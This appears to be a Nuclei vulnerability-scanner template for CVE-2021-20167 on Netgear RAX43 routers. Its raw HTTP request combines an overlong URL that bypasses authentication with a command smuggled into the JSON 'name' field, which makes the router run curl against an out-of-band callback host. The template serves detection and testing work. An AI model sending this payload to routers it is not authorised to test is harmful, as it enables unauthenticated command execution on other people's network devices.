id: CVE-2021-20167

info:
  name: Netgear RAX43 - Unauthenticated Command Injection / Authentication Bypass Buffer Overrun via LAN Interface
  author: gy741
  severity: critical
  description: "Netgear RAX43 version 1.0.3.96 contains a command injection and authentication bypass vulnerability. The readycloud_control.cgi CGI application is vulnerable to command injection in the name parameter. Additionally, the URL parsing functionality in the cgi-bin endpoint of the router containers a buffer overrun issue that can redirection control flow of the application. Note: This vulnerability uses a combination of CVE-2021-20166 and CVE-2021-20167."
  remediation: Upgrade to newer release of the RAX43 firmware.
  reference:
    - https://www.tenable.com/security/research/tra-2021-55
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20166
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20167
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-20167
    cwe-id: CWE-94
  tags: cve,cve2021,netgear,rce,router

requests:
  - raw:
      - |
        POST /cgi-bin/readycloud_control.cgi?1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/api/users HTTP/1.1
        Host: {{Hostname}}

        "name":"';$(curl http://{{interactsh-url}});'",
        "email":"a@b.c"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

# Enhanced by cs on 2022/02/22